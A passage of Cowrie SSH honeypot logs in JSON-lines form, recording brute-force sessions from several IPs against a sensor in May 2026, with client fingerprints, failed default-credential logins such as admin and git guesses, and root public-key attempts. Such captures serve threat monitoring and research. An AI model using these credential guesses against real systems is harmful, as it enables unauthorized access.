{"eventid":"cowrie.session.connect","src_ip":"190.181.25.210","src_port":34557,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0cf18ab83b7","protocol":"ssh","message":"New connection: 190.181.25.210:34557 (10.17.0.5:22) [session: d0cf18ab83b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:19:07.072685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:19:07.077617Z","src_ip":"190.181.25.210","session":"d0cf18ab83b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:19:07.204732Z","src_ip":"190.181.25.210","session":"d0cf18ab83b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"11111111","message":"login attempt [test/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:19:07.766233Z","src_ip":"190.181.25.210","session":"d0cf18ab83b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:19:08.894082Z","src_ip":"190.181.25.210","session":"d0cf18ab83b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":33696,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f824c748399","protocol":"ssh","message":"New connection: 98.70.48.241:33696 (10.17.0.5:22) [session: 5f824c748399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:19:13.210598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:19:13.216478Z","src_ip":"98.70.48.241","session":"5f824c748399","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:19:13.404835Z","src_ip":"98.70.48.241","session":"5f824c748399","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"!@#$%^","message":"login attempt [admin/!@#$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:19:14.191222Z","src_ip":"98.70.48.241","session":"5f824c748399","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:19:15.382426Z","src_ip":"98.70.48.241","session":"5f824c748399","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.181.25.210","src_port":42614,"dst_ip":"10.17.0.5","dst_port":22,"session":"95de1b624160","protocol":"ssh","message":"New connection: 190.181.25.210:42614 (10.17.0.5:22) [session: 95de1b624160]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:20:06.646539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:20:06.653179Z","src_ip":"190.181.25.210","session":"95de1b624160","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:20:06.768419Z","src_ip":"190.181.25.210","session":"95de1b624160","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"gitlab","message":"login attempt [git/gitlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:20:07.235091Z","src_ip":"190.181.25.210","session":"95de1b624160","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":50608,"dst_ip":"10.17.0.5","dst_port":22,"session":"09c2fa5e1432","protocol":"ssh","message":"New connection: 98.70.48.241:50608 (10.17.0.5:22) [session: 09c2fa5e1432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:20:07.272292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:20:07.277909Z","src_ip":"98.70.48.241","session":"09c2fa5e1432","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:20:07.467533Z","src_ip":"98.70.48.241","session":"09c2fa5e1432","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"a","message":"login attempt [odoo/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:20:08.255665Z","src_ip":"98.70.48.241","session":"09c2fa5e1432","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:20:08.356481Z","src_ip":"190.181.25.210","session":"95de1b624160","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:20:09.453039Z","src_ip":"98.70.48.241","session":"09c2fa5e1432","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.131.46.57","src_port":53934,"dst_ip":"10.17.0.5","dst_port":22,"session":"735dcba2f75b","protocol":"ssh","message":"New connection: 57.131.46.57:53934 (10.17.0.5:22) [session: 735dcba2f75b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:20:31.471960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:20:31.477320Z","src_ip":"57.131.46.57","session":"735dcba2f75b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:20:31.577620Z","src_ip":"57.131.46.57","session":"735dcba2f75b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"60:d5:d5:34:ef:67:63:a2:b9:85:a0:e4:4a:98:93:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjNpMRwa4dfuSwEQEhGyoU6c6gjJkD/1DVFXjmM69bWfm7gPj/hJr9MKbXqGr3U/sN0yDES2KmonI/dsL9gmlZIgJCySG0kq39sWcSW8q8Upg/F36lRQQxxxw3F2uh7KYLA6tY3S+2MAUe8lOMCE6kjzvO8MiiwhGN7+zmQMUAksRTqpmadUih0m2kwYdFg2LExDAX+wbQSI1d1LlS3/2ge7FMQJMndM5NTCf91IPNSkQBzsrGFfI5sW9LEamHuJQyCR/SSjPaoTn21RdqzQwNEpcnaG56eUTDf1cyIHRtWves0t3IT+jkKNxQCTGlC5o1z8Lu2oo7ZmFZI+8P1EUD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 60:d5:d5:34:ef:67:63:a2:b9:85:a0:e4:4a:98:93:5b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:20:32.057236Z","src_ip":"57.131.46.57","session":"735dcba2f75b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"60:d5:d5:34:ef:67:63:a2:b9:85:a0:e4:4a:98:93:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjNpMRwa4dfuSwEQEhGyoU6c6gjJkD/1DVFXjmM69bWfm7gPj/hJr9MKbXqGr3U/sN0yDES2KmonI/dsL9gmlZIgJCySG0kq39sWcSW8q8Upg/F36lRQQxxxw3F2uh7KYLA6tY3S+2MAUe8lOMCE6kjzvO8MiiwhGN7+zmQMUAksRTqpmadUih0m2kwYdFg2LExDAX+wbQSI1d1LlS3/2ge7FMQJMndM5NTCf91IPNSkQBzsrGFfI5sW9LEamHuJQyCR/SSjPaoTn21RdqzQwNEpcnaG56eUTDf1cyIHRtWves0t3IT+jkKNxQCTGlC5o1z8Lu2oo7ZmFZI+8P1EUD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:20:32.061516Z","src_ip":"57.131.46.57","session":"735dcba2f75b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dc:9e:27:a3:a4:bf:3e:ac:fb:2d:85:99:08:03:97:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4yGjkVs5rbTjmTrLO3VQZeZ8SToad3kig5wLZsDMFv+WC6+JJnOsp2NNP/GKrQYjFFzeyd/vi6Ao40ToQUa5sAJRjOsVBrbqxA4cdcGyTo+PODBtpGuQetDLorAreROVtil1Yg7O2RAD4Ej4JKhLGjsdR6fo7yy8HLu0we7hO/WzxNdkjnRfjiGu3ekWkunTZTI8r+2Cu9e+A5mukNMwaOqDvgkcThXQqsa7xFsfIv1YZOy26E/jyAUlLIs8FgnFoViI2cqAeiErw3PDOS5LHTPmHETzqEIS8qZdvYL4w0Tnh5cGuNMJvsOgvkZ8KGPn5W8xpO5w+dySiRTHh3PNeQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dc:9e:27:a3:a4:bf:3e:ac:fb:2d:85:99:08:03:97:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:20:32.162502Z","src_ip":"57.131.46.57","session":"735dcba2f75b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dc:9e:27:a3:a4:bf:3e:ac:fb:2d:85:99:08:03:97:ce","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4yGjkVs5rbTjmTrLO3VQZeZ8SToad3kig5wLZsDMFv+WC6+JJnOsp2NNP/GKrQYjFFzeyd/vi6Ao40ToQUa5sAJRjOsVBrbqxA4cdcGyTo+PODBtpGuQetDLorAreROVtil1Yg7O2RAD4Ej4JKhLGjsdR6fo7yy8HLu0we7hO/WzxNdkjnRfjiGu3ekWkunTZTI8r+2Cu9e+A5mukNMwaOqDvgkcThXQqsa7xFsfIv1YZOy26E/jyAUlLIs8FgnFoViI2cqAeiErw3PDOS5LHTPmHETzqEIS8qZdvYL4w0Tnh5cGuNMJvsOgvkZ8KGPn5W8xpO5w+dySiRTHh3PNeQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:20:32.166041Z","src_ip":"57.131.46.57","session":"735dcba2f75b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e3:65:6c:be:e7:eb:ce:ae:6f:2a:c4:2c:7e:d6:aa:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDe2J7JAMpSgiYbCA4QheTXJAoyu84tlQ0m1G3/Zc9f6GevQaIovo28zmm6pFt0iXNZ8dHUM/Nh6L/ob/VSBeM1NWQPxJ+UIdTp+SK9bhtLfJTazjM8KyEgkUnxxwfnGC7h6J2jg3HmnvG101gzFZk9lsuHJ5K40rIh986+sP3W5g19J1U3NGGv0jHLGuiTHNLICd5xkXTiLIrdEIzwZ/EsPb2ScHnThGJMyPiQgeTAaflem8KG1+oyrENx+5XEKX8Rr25mypIUbc1ZMQSfuwSGhRSAWirBwNVxw86NdJBfOteoxoAjNRM8WqwaDcqpP4AhRq/U5dh7fC7IfV8XlKzN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e3:65:6c:be:e7:eb:ce:ae:6f:2a:c4:2c:7e:d6:aa:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:20:32.265322Z","src_ip":"57.131.46.57","session":"735dcba2f75b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e3:65:6c:be:e7:eb:ce:ae:6f:2a:c4:2c:7e:d6:aa:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDe2J7JAMpSgiYbCA4QheTXJAoyu84tlQ0m1G3/Zc9f6GevQaIovo28zmm6pFt0iXNZ8dHUM/Nh6L/ob/VSBeM1NWQPxJ+UIdTp+SK9bhtLfJTazjM8KyEgkUnxxwfnGC7h6J2jg3HmnvG101gzFZk9lsuHJ5K40rIh986+sP3W5g19J1U3NGGv0jHLGuiTHNLICd5xkXTiLIrdEIzwZ/EsPb2ScHnThGJMyPiQgeTAaflem8KG1+oyrENx+5XEKX8Rr25mypIUbc1ZMQSfuwSGhRSAWirBwNVxw86NdJBfOteoxoAjNRM8WqwaDcqpP4AhRq/U5dh7fC7IfV8XlKzN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:20:32.273139Z","src_ip":"57.131.46.57","session":"735dcba2f75b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.223.80","src_port":35980,"dst_ip":"10.17.0.5","dst_port":22,"session":"9778dfbef9ed","protocol":"ssh","message":"New connection: 57.128.223.80:35980 (10.17.0.5:22) [session: 9778dfbef9ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:20:32.291701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:20:32.310803Z","src_ip":"57.128.223.80","session":"9778dfbef9ed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4c:ef:3a:da:38:97:86:b6:2d:bc:d8:bb:32:fd:d7:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDN+0lrpCenLvDLBEUV7XsiBAv4822O9h71+RpPdqBFpMa+NwkXbcBzj9LrF6dp4SUsW8EPDiwTjUpGMiG+7Q7iKq7+O2cbR8w9Y1LOOh35Ol0zZH0BePHxp9jwHFNrK3oAygcmhukKmYxfTtsAPu6YnkkE48wq3BX2DITbDjKOl/q0dvgeXkvBjy0xrN5Evkg46BHohxSgkVuETt1qTa2CLV6bftm4sdSDL63C1BAd5RuVsUTEprrORsotc/B09d7Y9eme7s2A+ilUKG1DqPRaVAiuD5krR7Qv+lmb10ZGy1zD4WBy94LdQQtEtpEy07N3rUKxhwxx8inNUthc+Bk2yuKOxZ19xnxsEs0GsP2oLPRfCv1Ke0pqOUV7o4hLVTuwBXKqfsk/aTg1HJX4T2pjDD2vjLzdA3/WnJawyD0pkRJKafxXJPaitxKOJ+7BCkIFc503g2G4o420xkQktwnqWhgWUfZTe37LXIio8+KLeFjsWd8YFAtIkAUXnXZEPGk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4c:ef:3a:da:38:97:86:b6:2d:bc:d8:bb:32:fd:d7:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:20:32.376133Z","src_ip":"57.131.46.57","session":"735dcba2f75b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4c:ef:3a:da:38:97:86:b6:2d:bc:d8:bb:32:fd:d7:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDN+0lrpCenLvDLBEUV7XsiBAv4822O9h71+RpPdqBFpMa+NwkXbcBzj9LrF6dp4SUsW8EPDiwTjUpGMiG+7Q7iKq7+O2cbR8w9Y1LOOh35Ol0zZH0BePHxp9jwHFNrK3oAygcmhukKmYxfTtsAPu6YnkkE48wq3BX2DITbDjKOl/q0dvgeXkvBjy0xrN5Evkg46BHohxSgkVuETt1qTa2CLV6bftm4sdSDL63C1BAd5RuVsUTEprrORsotc/B09d7Y9eme7s2A+ilUKG1DqPRaVAiuD5krR7Qv+lmb10ZGy1zD4WBy94LdQQtEtpEy07N3rUKxhwxx8inNUthc+Bk2yuKOxZ19xnxsEs0GsP2oLPRfCv1Ke0pqOUV7o4hLVTuwBXKqfsk/aTg1HJX4T2pjDD2vjLzdA3/WnJawyD0pkRJKafxXJPaitxKOJ+7BCkIFc503g2G4o420xkQktwnqWhgWUfZTe37LXIio8+KLeFjsWd8YFAtIkAUXnXZEPGk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:20:32.380756Z","src_ip":"57.131.46.57","session":"735dcba2f75b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hel